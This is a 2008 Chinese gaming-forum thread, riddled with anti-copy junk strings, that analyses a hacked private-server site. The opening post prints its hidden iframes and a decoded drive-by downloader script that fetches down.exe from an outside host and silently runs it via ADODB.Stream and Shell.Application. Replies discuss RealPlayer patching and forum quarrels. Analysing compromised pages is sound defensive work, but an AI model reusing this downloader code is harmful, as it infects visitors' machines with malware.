标题: [讨论] cg23分析 [打印本页]

---

作者: 黄昏    时间: 2008-2-4 21:47     标题: cg23分析

Host: www.cg23.cn" L/ z* r7 D2 g8 p- s5 _. w2 F
Content-Location: http://www.cg23.cn/Index.htm
  `" \) w5 S. N. f7 x4 S4 }7 \  _- B妖城在线论坛--src
) Y9 {  V2 m: b妖城在线论坛. k! x% l& Q  P. M
<script language="JavaScript" type="text/JavaScript" src="http://news.baidu.com/ns?word=title%3A%C4%A7%C1%A6%B1%A6%B1%B4&tn=newsfcu&from=news&cl=2&rn=25&ct=0"></script>
( D0 V. }+ l2 m7 j" rbbs.mocwww.com--百度新闻-魔力宝贝妖城在线论坛% B! x7 r9 z0 v  o6 W

0 i, m5 c* F% n妖城在线论坛http://wpa.qq.com/pa?p=1:******************
1 a2 L( C! r* l7 H1 ?1 h妖城在线论坛10数个魔力技术顾问的QQ链接
' f/ G7 c! w& n+ T( i$ G# }4 c魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表妖城在线论坛% @  l& h, R! ]! r
<script src="javascript/jf.js" type="text/javascript"></script>
) Q% v/ q. ]- e0 \( e% j1 M8 P魔力私服,最新魔力宝贝私服技术交流//模仿语言包式的简繁转换功能插件！妖城在线论坛. G. E; H- A* l" `

. q' g' T% k" C5 g+ I<script language="javascript" type="text/javascript" src="http://js.users.51.la/1326170.js"></script>
, x% T3 c2 L" z8 u( B. j2 _/ P3 {# b0 t) Rbbs.mocwww.com51.la流量统计
7 Y+ y  l) ~: s' ]妖城在线论坛
( [: m% V+ x4 j# _0 R, h& r+ D/ m魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表<script src='http://s71.cnzz.com/stat.php?id=722391&web_id=722391&online=2' language='JavaScript' charset='gb2312'></script>; W( c8 U& v- m1 y4 C
cnzz流量统计
4 h( E/ f+ O% U3 \' H! D- ]; ebbs.mocwww.com
" m! }; }+ }2 a: _" s& Fbbs.mocwww.com<script language="javascript" src="http://count36.51yes.com/click.aspx?id=361527223&logo=12"></script>—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート7 D# ?+ V. I3 q, r4 r$ d
51YES网站统计
" [$ x8 e9 U! J. S9 e妖城在线论坛8 D5 k' H, v& y8 L, m. e. s
<iframe src=http://1.100190.com/1.htm?6 width=50 height=0></iframe></a>
* r, T: v  K, d: K9 M8 D7 R魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表下面是1.htm的内容
8 _' d+ n; i/ \$ R# N" J# O—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート[<iframe src=http://1.100190.com/d/d.htm width=100 height=100></iframe>  k' ]! ~' h9 i2 j: ?9 Z
<iframe src=http://1.100190.com/d/06014.htm width=100 height=100></iframe>6 t8 G& }! n/ G
<iframe src=http://1.100190.com/d/real.htm width=100 height=100></iframe>bbs.mocwww.com; R# a$ H* B8 M2 b0 K, y* P
这里是重点了—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート/ N/ J" e  Y. d8 a
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1586580.js"></script>魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表4 a0 f9 D6 ]: {) }$ b
51.la流量统计魔力私服,最新魔力宝贝私服技术交流. B1 Y% x* T0 K& \. p/ N; }9 P6 R
]—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート: u" K; ~2 P$ b
闲来无事，给大家分析一下吧
9 i0 n8 @% n, Z- Jbbs.mocwww.com06014.htm        看名字好像是蛮老的那个溢出洞洞
2 z! u4 t0 F5 f9 F7 e( ^( `—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート解码后bbs.mocwww.com( i  `8 D* m2 z$ N. S8 v* c0 ^0 a; U, ?
<script>var fuck,cike;fuck="http://1.111281.com/down.exe";cike="cike.com";try{var ado=(document.createElement("object"));var d=1;ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var e=1;var xml=ado.CreateObject("Microsoft.XMLHTTP","");var f=1;var ln="Ado";var lzn="db.St";var an="ream";var g=1;var as=ado.createobject(ln+lzn+an,"");var h=1;xml.Open("GET",fuck,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(cike,2);as.close();var shell=ado.createobject("Shell.Application","");shell.Shellexecute(cike,"","","open",0);}catch(e){};</script>
5 I) g: ?# }* q, O1 O* H—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート貌似是个下载者饿，打包了，大家没事研究研究 我就跳过了……妖城在线论坛- ]! D7 b3 L( V+ L% f

2 R$ t! G7 V* f* v魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表d.htm        解码之妖城在线论坛7 h& M! d% l+ ?% M6 i
<iframe style=display:none src="http://1.100190.com/d/bf.htm"></iframe>
3 V4 D6 y* S) `7 x7 r魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表呜呜，我们继续魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表' {! f' Z$ [# K  h  \1 v! [
空文件，可能是后备用的吧bbs.mocwww.com0 v! g2 m( S& Y; m: v5 h

' \5 q6 u% V4 q5 ]. Nbbs.mocwww.comreal.htm        看名字可能根播放器的oday有关魔力私服,最新魔力宝贝私服技术交流- ^1 P( ?0 [) A! Q/ F5 }" h+ p
解码之——
7 J+ o3 P% n2 s# U8 ^. xfunction RealExploit(){afdsffffasdf="flsdajflasdjfl32rewr231ffas";var ……—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート- @. g5 z# @5 B. G, ^( @
恩，查资料得知为机器狗病毒，不过不玩这个 不大懂
$ p/ O- B4 V6 o) ^+ e) x( _- Cbbs.mocwww.com好了，确定是网马，至于效果如何，反正我没中招……—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート  x$ Z8 [6 d5 N0 b* p) A

3 r, L7 o8 n* R4 c魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表就酱子吧，很多防护不好的网站都会被人挂马，希望cde尽快处理，我对其人没有任何恶意的，大家不要有事没事就对他妄加否定，bbs.mocwww.com& T, N# H$ L; M. Z: f% X
想想 人家辛辛苦苦为了什么那？开那么多群，没说过收费什么的吧？ 有知道的东西就共享出来 也没见藏着掖着吧？ 魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表- V7 g$ c& L: s8 p8 M* X
紫薇剑是谁我不晓得，
2 X2 b9 n1 j; I. O' _1 [. ybbs.mocwww.com但是cg23的ange我还是打过交道的……
1 U0 n) C1 g  u* S+ F8 y6 Y1 j# ~魔力私服,最新魔力宝贝私服技术交流bbs.mocwww.com: w+ |+ L" c7 F( b2 a
<param name="URL" value="http://www.jdzblog.com/uploadfiles/2007-3/327162852.mp3">
! o6 E) V" o$ [) j妖城在线论坛最后给大家附个音乐 深吸一口气，放松一下，没什么大不了的……bbs.mocwww.com4 _) o, J! O9 H, P0 l, j* \

8 u8 c, j5 `: I; f1 i: N妖城在线论坛[ 本帖最后由 myzz01 于 2008-2-4 21:53 编辑 ]

---

作者: FGMAX    时间: 2008-2-4 21:49

那个是内嵌的JS调用溢出马.很老的一种了..
0 ?( U' C* Y& D. y* c# U0 H魔力私服,最新魔力宝贝私服技术交流LS的兄弟我劝你..
/ J: R4 H& b7 n, |魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表搞CG,不知道紫薇剑,就和中国人不知道毛泽东一样.妖城在线论坛: Q/ p1 w- b9 F( f* [9 ^0 e% Y4 M
你没资格说内些话..

---

作者: FGMAX    时间: 2008-2-4 21:50


# d! Y$ i* t! f9 Z魔力私服,最新魔力宝贝私服技术交流开那么多群.从来没说过话.
# r3 u+ E+ n& c% i+ z和某XXOO反挂不一样?妖城在线论坛/ k0 k1 Q5 @- Z( i; n4 B
技术群一大堆.问问题没见回.魔力私服,最新魔力宝贝私服技术交流( g! Q1 p4 _2 V  f4 E! a+ o$ j
一买他东西积极的很.
1 |/ F* Y4 Q# E; z" }8 |—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート妖城在线论坛" K* h8 O* z( e7 `/ a* C
—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート/ o9 s( y! E  T1 s5 n
他现在扔出来的东西都是别人淘汰的.
/ v) Y- F" B4 L- M; L& Vbbs.mocwww.com也不知道谁抱着一套所谓的反挂,还当宝咧..

---

作者: 厶⒉姙⒈    时间: 2008-2-4 21:58

这样啊··

---

作者: 黄昏    时间: 2008-2-4 21:59

那个  资格不晓得要怎么赚取 …… :-)  是不是当中国人只要知道毛泽东就具备中国人的血统了？估计某些知道老毛的小日本要雀跃了……魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表( R: Z/ `0 p" z0 N$ c, {6 i; N
血统是与生俱来的，根毛泽东关系不大，我的资格 仿佛也根我知道不知道紫薇剑关系不大吧？
7 ^% M3 Z% {+ t- H—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート我喜欢根海星兄 妖哥 小男这样说话爽快的人交流，至于不从技术方面讨论问题 而专门搞人事鉴定的……  不是很感冒……bbs.mocwww.com: Z: H4 t6 e- u* {6 k4 `( N
(*^__^*)   随便说说拉 ange真的打了很久叫道的 从我开始研究魔力（快1个月了） 没事都会在QQ上交流下的 ——感觉人有点迷糊 但是没有什么坏心眼吧？魔力私服,最新魔力宝贝私服技术交流) |" o5 S! F( ~5 U1 \' q8 K
至于FGMAX ：） 我可是加你QQ拜师的哦 可惜你不回复…… 唉  要不现在收下我吧？

---

作者: FGMAX    时间: 2008-2-4 22:08

我，大家都知道，对话不对人。妖城在线论坛/ B3 u- w7 z2 W( k
要是惹着你了就当别在意。
  n, y8 n3 H; e- O1 `9 J5 f魔力私服,最新魔力宝贝私服技术交流
' e. K  P# h# h* Q1 }+ }/ F/ p, tbbs.mocwww.com加我人太多，每天问问题人也太多。  ~. h1 D: b% X7 I# Q5 D* Y
不能一一照料。
8 D) l3 I/ b$ n2 ~% U魔力私服,最新魔力宝贝私服技术交流
& ^% E1 W$ _9 \; ]4 J# F魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表我就收了一个徒弟，晨曦。魔力私服,最新魔力宝贝私服技术交流7 L' @6 N- c% g& ]! M7 c# r( f

5 V  |( f) c0 Z+ t魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表以后有需要就说，知道肯定告你。

---

作者: 黄昏    时间: 2008-2-4 22:28

引用:

原帖由 FGMAX 于 2008-2-4 22:08 发表
+ g4 N( H' w0 a0 f6 S! H" L+ A* V8 ?—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート我，大家都知道，对话不对人。bbs.mocwww.com9 r- Q$ [% D0 q0 ^2 z: c
要是惹着你了就当别在意。bbs.mocwww.com2 w. \% Q- ~7 k, ^& j9 Y
bbs.mocwww.com0 X: r# X, n& u3 U- W
加我人太多，每天问问题人也太多。—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート& U7 P4 t7 r- ]- A
不能一一照料。—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート4 U: \1 q6 ~; {3 Z

; r0 V/ o8 [) k$ E4 [$ T妖城在线论坛我就收了一个徒弟，晨曦。bbs.mocwww.com8 q: s1 D% w2 S& ^

8 p6 u3 r; q/ i, U( Q) M7 r2 k2 G魔力私服,最新魔力宝贝私服技术交流以后有需要就说，知道肯定告你。

2 w' P+ Y4 V) n
8 R3 X  q& G, P7 v—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲートbbs.mocwww.com4 Z6 K+ N- ~: H5 q  h, l  b; {$ W# a3 u
：）  交个朋友 一起交流饿 …… 我去想办法看懂魔力封包处理部分的代码去…… 想学的东西太多 时间太少 一动就该睡觉了……郁闷　ＨＯＨＯ　　晚上见……

---

作者: 31558770a    时间: 2008-2-4 22:38

回家前 上来看看
* [! Q; x( [- X, F9 s7 J6 _" M

---

作者: itsong    时间: 2008-2-4 22:45

RealPlayer 的溢出漏洞,打完RealPlayer溢出补丁的不会中.

---

作者: ｋ|尛水    时间: 2008-2-4 22:53

RealPlayer 不装呢- -

---

作者: healcs01    时间: 2008-2-5 08:54

CG23就是白吃,乱吧人的QQ放在他网页上当什么顾问  我日

---

作者: 黄昏    时间: 2008-2-5 09:50

引用:

原帖由 ?ｋ|尛水 于 2008-2-4 22:53 发表
+ i' \. j8 d1 M5 L1 i; U2 A8 J& ^+ _RealPlayer 不装呢- -

魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表/ {# [  b$ @: F# g, I, w
不装当然就中不了real的0day了，不过其他溢出漏洞不胜枚举，而且就算不中马，被挂马的站访问起来也会很慢…… 经常访问很容易体会出区别…… 中木马也一样 你要经常使用电脑就会有手感的 当机器中木马病毒什么的 你就会感觉不顺手了……

---

作者: xuyaoxy    时间: 2008-2-5 10:49

呵呵...real我就没装过~~呵呵..

---

作者: 易凡    时间: 2008-2-6 13:41

我问问无双，是被人挂了还是自己搞的……。它那站流量也没多少，应该不至于坏自己的名声做这种事。
9 ?4 @5 c  [5 t/ A' D+ g—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート
4 Q! _2 _# U) h- x: k) u—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート现在有马是事实了

---

作者: 囡囡    时间: 2008-2-6 15:25

没说过收费?那他的高级群谁出的QB,你也不想想

---

作者: FGMAX    时间: 2008-2-6 16:38

引用:

原帖由 healcs01 于 2008-2-5 08:54 发表 魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表3 A; y$ H3 A* s3 H3 E
CG23就是白吃,乱吧人的QQ放在他网页上当什么顾问  我日

bbs.mocwww.com7 X& O* W+ c! Z5 q5 {. \8 j
  不知道有没有我们…
1 ?' h' ]1 m& u3 o7 @bbs.mocwww.com               反正最近莫名其妙地很多人问问题…
' b$ q, ]8 U6 }6 b: b! u魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表               替他们卖命…还有人很喜欢无双…`？魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表8 ]& C9 A' E, j( G3 c" q- s& q
魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表3 c1 E$ x: ~! @8 M  @  m

---

欢迎光临 妖城在线论坛 (http://bbs.mocwww.com/)

Powered by Discuz! 6.0.0